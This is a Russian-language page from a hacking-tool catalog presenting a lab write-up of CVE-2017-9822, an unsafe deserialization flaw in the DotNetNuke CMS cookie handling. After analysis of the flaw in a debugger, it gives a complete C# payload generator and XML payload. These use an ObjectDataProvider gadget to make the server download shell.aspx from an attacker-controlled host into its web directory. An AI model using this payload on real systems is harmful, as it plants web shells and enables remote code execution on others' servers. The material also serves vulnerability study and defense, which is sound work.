Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2017-9822 | Kitploit
Инструменты/GitHubGitHub/tranphuc2005/cve-2017-9822
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubtranphuc2005/cve-2017-9822

CVE-2017-9822

Репозиторий
11 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2017-9822

DotNetNuke (часто сокращённо DNN) — это платформа CMS (Content Management System) и каркас веб-приложений (web application framework) на базе технологии ASP.NET от Microsoft.

Основная информация

  • Затронутый продукт: DotNetNuke (DNN Platform) — популярная .NET CMS/портал.

  • Дата публикации: июль 2017 г.

  • Степень опасности: Critical (CVSS ~9.8).

  • Тип уязвимости: XML External Entity (XXE) / небезопасная десериализация (Insecure Deserialization) → удалённое выполнение кода (Remote Code Execution, RCE).

  • Влияние: версии до 9.1.1 позволяют удалённо выполнять код через cookie

Руководство по установке

Для настройки и отладки программы я использую Windows 10. Устанавливаемая версия — 9.1.0, с порядком установки можно ознакомиться здесь. Результат по завершении:

1

Анализ

1

  • Согласно отчётам, которые я читал, эта уязвимость находится в месте обработки cookie в DotNetNuke

  • DNN использует небезопасную десериализацию (unsafe deserialization) для cookie DNNPersonalization

1

Отладка

  • Здесь я использую dnSpy — это декомпилятор (decompiler) и отладчик (debugger) для приложений .NET (C#, VB.NET, F#...). Он позволяет просматривать, анализировать и редактировать исходный код скомпилированных файлов, таких как .dll или .exe, написанных на .NET. Установить можно здесь. Для отладки нам нужно скачать две версии.

1

  • Сначала откройте DotNetNuke.dll в 32-битной версии и выберите Edit Assembly Attributes (C#)

1

  • Затем замените строку
root@kitploit:~
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
  • На
root@kitploit:~
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

1

После этого сохраните изменения.

  • Откройте 64-битную версию с правами администратора и выберите Attach to Process

1

  • Затем выберите w3wp.exe

1

Причина выбора w3wp.exe:

  • w3wp.exe = IIS Worker Process.

  • Это рабочий процесс Application Pool (пула приложений) в IIS.

  • Когда HTTP-запрос поступает на сайт, IIS создаёт или повторно использует w3wp.exe для обработки этого запроса (выполнение ASP.NET-кода, обработка модулей, middleware, подключений к базе данных...).

  • Каждый Application Pool может иметь один или несколько процессов w3wp.exe в зависимости от конфигурации (web garden, recycling).

Далее выберите Debug -> Window -> Modules

1

После этого появятся модули (Modules). Щёлкните правой кнопкой мыши по любому из них и выберите Open All Modules

1

И в итоге появятся все сборки (Assembly), связанные с DNN

1

  • Зайдите внутрь DotNetNuke.dll -> PersonalizationController#LoadProfile(int, int)

1

Эта функция используется для загрузки данных персонализации (профиля) пользователя на портале DNN.

  • Если пользователь авторизован → профиль берётся из базы данных + кэша.

  • Если пользователь анонимный (не авторизован) → профиль берётся из cookie DNNPersonalization.

Здесь стоит сосредоточиться на DNNPersonalization

  • Если userId недействителен (анонимный пользователь).

  • Проверяется, есть ли в запросе cookie DNNPersonalization.

  • Если есть → из этого cookie извлекается XML-значение.

  • Отправим запрос 404 на сайт и используем произвольный DNNPersonalization; поставим в dnSpy точку останова (Breakpoint) в DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int) — тогда можно будет отладить.

1

1

  • В стеке вызовов (Call Stack) сосредоточимся на анализе класса PortalSettings

1

  • Обратите внимание: здесь с помощью условия if проверяется, аутентифицирован ли уже текущий запрос (IsAuthenticated)

  • И в то время как отправленный нами запрос — 404 -> unauthenticated

  • Далее в стеке вызовов сосредоточимся на Handle404OrException

1

  • Здесь проверяется, равен ли context.User текущего запроса null; если да, то context.User присваивается пользователь текущего потока (thread user)

1

1

  • Мы видим, что в Handle404OrException переменная IsAuthenticated теперь имеет значение true, а пользователь — это пользователь IIS-сервера, поэтому запрос выполняется как аутентифицированный пользователь.

  • Причина проблемы кроется в этом фрагменте кода

root@kitploit:~
else if (transfer)
{
	if (context.User == null)
	{
		context.User = Thread.CurrentPrincipal;
	}
	response.TrySkipIisCustomErrors = true;
	IHttpHandler handler = new CDefault();
	context.Handler = handler;
	server.Transfer("~/" + text, true);
}
  • Если context.User ещё не задан → присваивается Thread.CurrentPrincipal (то есть текущая identity потока).

  • Это даёт запросу информацию о пользователе/ролях при дальнейшей обработке.

=> Когда мы передаём в cookie DNNPersonalization любое содержимое, оно выполняется как обычный пользователь.

Далее: обработка cookie

  • Всё ещё в DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int)

  • Видно, что переменная text получает значение из cookie, после чего оно передаётся как входные данные в Globals.DeserializeHashTableXml()

1

  • Зайдём в Globals.DeserializeHashTableXml()

1

Функция DeserializeHashTableXml выполняет:

  • Принимает строку XML (Source).

  • Разбирает эту XML-строку и преобразует её в объект Hashtable.

  • В процессе разбора вызывает функцию XmlUtils.DeSerializeHashtable с параметром "profile" для указания корневого XML-узла (root node).

Зайдём внутрь XmlUtils.DeSerializeHashtable и посмотрим, как она обрабатывает данные

1

Функция DeSerializeHashtable принимает XML-строку и преобразует её в Hashtable. Для каждого узла <item> функция:

  • Берёт key в качестве ключа.

  • Берёт type, затем вызывает Type.GetType(type) для определения типа данных.

  • Использует XmlSerializer.Deserialize, чтобы превратить XML-содержимое в реальный объект.

  • Добавляет результат в Hashtable.

👉 Проблема: и type, и XML-содержимое полностью контролируются пользователем (из cookie DNNPersonalization)

Создание Payload

Основываясь на XmlUtils#DeSerializeHashtable как на месте уязвимости, создадим программу, которая аналогичным образом сериализует и десериализует объект:

root@kitploit:~
using System.Xml;
using System.Diagnostics;
using System.Xml.Serialization;

namespace example
{
	public class Test  
	{    
	    private string _name;  
	    public string name  
	    {  
	        get { return _name; }  
	        set { this._name = value; execCMD(); }  
	    }  
	  
	    private void execCMD()  
	    {  
	        Process process = new Process();  
	        process.StartInfo.FileName = this._name;  
	        process.Start();  
	        process.Dispose(); // close  
	    }  
	}

    public class Program
    {
        private static string fileFolder = "D:\\lab\\csharp\\DNN\\example\\serialization\\";
        public static void Serialize(Object obj) // method xml serialize arbitrary object 
        {
            // tạo xml root element
            XmlDocument xmlDocument = new XmlDocument();
            XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
            xmlDocument.AppendChild(xmlElementRoot);

            // tạo node con item có attribute type chứa tên object type

            XmlElement xmlElementItem = xmlDocument.CreateElement("item");
            xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);

            // serialize obj thành xmlDocumentObj

            XmlDocument xmlDocumentObj = new XmlDocument();
            XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
            StringWriter stringWriter = new StringWriter();
            xmlSerializer.Serialize(stringWriter, obj);
            xmlDocumentObj.LoadXml(stringWriter.ToString());
            // thêm xml serialized object này vào node item và thêm node item vào root element
            xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));

            xmlElementRoot.AppendChild(xmlElementItem);
    
            File.WriteAllText( fileFolder + "obj.xml", xmlDocument.OuterXml);

        }

        public static void DeSerialize(string xmlSource, string rootname)
        {
            // Hashtable hashtable = new Hashtable();
            if (!string.IsNullOrEmpty(xmlSource))
            {
                try
                {

                    XmlDocument xmlDocument = new XmlDocument();
                    xmlDocument.LoadXml(xmlSource);
                    foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
                    {
                        XmlElement xmlElement = (XmlElement)obj;
                        string attribute = xmlElement.GetAttribute("key");
                        string attribute2 = xmlElement.GetAttribute("type");
                        XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
                        XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));

                        // hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
                        // custom

                        Object objResult = xmlSerializer.Deserialize(xmlReader);
                        Test testObj = (Test) objResult;
                        Console.WriteLine("Deserialize sucessful: " + testObj.name);
                    }
                }
                catch (Exception)
                {
                }
            }
            // return hashtable;
        }
        static void Main(string[] args)
        {
            // serialize
            Test test = new Test();
            test.name = "notepad.exe"
            Serialize(test);
            // deserialize
            String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
            DeSerialize(xmlSource, "profile");

        }
    }
}
  • XML-файл будет выглядеть так:
root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<profile>
  <item type="example.Test, ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
    <Test xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xmlns:xsd="http://www.w3.org/2001/XMLSchema">
      <name>notepad.exe</name>
    </Test>
  </item>
</profile>

1

  • Теперь перейдём к RCE.
  • Нужно найти объект, который может выполнить код при вызове Deserialize.
  • Здесь мы находим метод FileSystemUtils PullFile.

1

Пояснение:

  • PullFile(string URL, string FilePath) — статический метод в FileSystemUtils, используемый для загрузки содержимого из URL в путь FilePath в системе.

  • Внутри используется WebClient.DownloadFile(URL, FilePath) — действие загрузки и записи файла.

  • catch только логирует ошибку и возвращает сообщение; исключение не пробрасывается дальше.

Но проблема в том, что XmlSerializer не может сериализовать методы класса, а только публичные поля и свойства. Среди публичных полей и свойств класса FileSystemUtils также нет ни одного, который мог бы вызвать метод PullFile.

Перейдём к классу ObjectDataProvider

  • ObjectDataProvider — это класс в WPF (пространство имён System.Windows.Data, модуль PresentationFramework.dll).

  • Способен вызывать методы во время выполнения (runtime) — не только хранит данные, но и может выполнять действия (побочные эффекты), вызывая любой метод на обёрнутом объекте.

  • Позволяет передавать параметры — атакующий может управлять параметрами, передаваемыми в метод (например, URL и путь к файлу для метода PullFile).

  • Сам ObjectDataProvider не «выполняет код» как интерпретатор, но он позволяет вызвать любой публичный метод на обёрнутом объекте. Поэтому, если существует публичный метод с опасным побочным эффектом (например, загрузка файла, запуск процесса, запись файла), цепочку (chain) можно реализовать.

1

Здесь вызывается Refresh() из DataSourceProvider

1

Далее будет BeginQuery(); обратите внимание, что ObjectDataProvider наследуется от DataSourceProvider, и мы переходим к BeginQuery() у ObjectDataProvider

1

Продолжаем с QueryWorker

1

Он вызывает InvokeMethodOnInstance

1

InvokeMethodOnInstance — это метод, который фактически выполняет вызов (invoke): он использует рефлексию для вызова указанного метода (MethodName) на объекте, который «оборачивает» ObjectDataProvider (или на самом типе, если метод статический), передаёт список MethodParameters и возвращает результат выполнения метода.

Для написания скрипта используем IDE JetBrains Rider; необходимо добавить ссылки на модули DotNetNuke.dll и PresentationFramework.dll.

1

Получаем следующий исполняемый Payload:

root@kitploit:~
using System;  
using System.IO;  
using System.Xml;  
using System.Xml.Serialization;  
using System.Windows.Data;              // ObjectDataProvider  
using DotNetNuke.Common.Utilities;      // FileSystemUtils (nếu bạn đã add DLL)  
using System.Data.Services.Internal;    // ExpandedWrapper (nếu có)  
  
namespace example  
{  
    public class Program  
    {  
        private static string fileFolder = "C:\\Users\\chinh\\Documents\\DNN"; // CHANGE THIS  
        public static void Serialize(Object obj) // method xml serialize arbitrary object   
        {  
            // tạo xml root element  
            XmlDocument xmlDocument = new XmlDocument();  
            XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");  
            xmlDocument.AppendChild(xmlElementRoot);  
  
            // tạo node con item có attribute type chứa tên object type  
            XmlElement xmlElementItem = xmlDocument.CreateElement("item");  
            xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);  
  
            // serialize obj thành xmlDocumentObj  
            XmlDocument xmlDocumentObj = new XmlDocument();  
            XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());  
            StringWriter stringWriter = new StringWriter();  
            xmlSerializer.Serialize(stringWriter, obj);  
            xmlDocumentObj.LoadXml(stringWriter.ToString());  
  
            // thêm xml serialized object này vào node item và thêm node item vào root element  
        xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));  
            xmlElementRoot.AppendChild(xmlElementItem);  
            File.WriteAllText(fileFolder + "obj.xml", xmlDocument.OuterXml);  
        }  
  
        public static void DeSerialize(string xmlSource, string rootname)  
        {  
            // Hashtable hashtable = new Hashtable();  
            if (!string.IsNullOrEmpty(xmlSource))  
            {  
                try  
                {  
                    XmlDocument xmlDocument = new XmlDocument();  
                    xmlDocument.LoadXml(xmlSource);  
                    foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))  
  
                    {  
                        XmlElement xmlElement = (XmlElement)obj;  
                        string attribute = xmlElement.GetAttribute("key");  
                        string attribute2 = xmlElement.GetAttribute("type");  
                        XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));  
                        XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));  
                        // hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));  
                        // custom  
                        Object objResult = xmlSerializer.Deserialize(xmlReader);  
                    }  
                }  
                catch (Exception)  
                {  
                }  
            }  
            // return hashtable;  
        }  
        static void Main(string[] args)  
        {  
            ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();  
            expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();  
            expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();  
            expandedWrapper.ProjectedProperty0.MethodName = "PullFile";  
    expandedWrapper.ProjectedProperty0.MethodParameters.Add("https://192.168.72.102:8000/shell.aspx");  
            expandedWrapper.ProjectedProperty0.MethodParameters.Add("C:\\Web\\DNN_Platform_9.1.0.367_Install\\js\\shell.aspx");  
  
            Console.WriteLine("Done!!");  
            Serialize(expandedWrapper);  
  
            String xmlSource = File.ReadAllText(fileFolder + "obj.xml");  
            DeSerialize(xmlSource, "profile");  
  
        }  
    }  
}

Получаем XML-файл:

root@kitploit:~
<profile>
  <item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
      <ExpandedElement/>
      <ProjectedProperty0>
        <MethodName>PullFile</MethodName>
        <MethodParameters>
          <anyType xsi:type="xsd:string">http://192.168.72.102:8000/shell.aspx</anyType>
          <anyType xsi:type="xsd:string">C:\Web\DNN_Platform_9.1.0.367_Install\js\shell.aspx</anyType>
        </MethodParameters>
        <ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
      </ProjectedProperty0>
    </ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
  </item>
</profile>

Вставляем payload

1

1

1

Приступаем к эксплуатации

1

Кроме того, для создания payload можно использовать инструмент ysoserial.NET

1

1

Кроме того, можно дополнительно эксплуатировать чтение файла через WriteFile класса FileSystemUtils

1

1

Скачать инструмент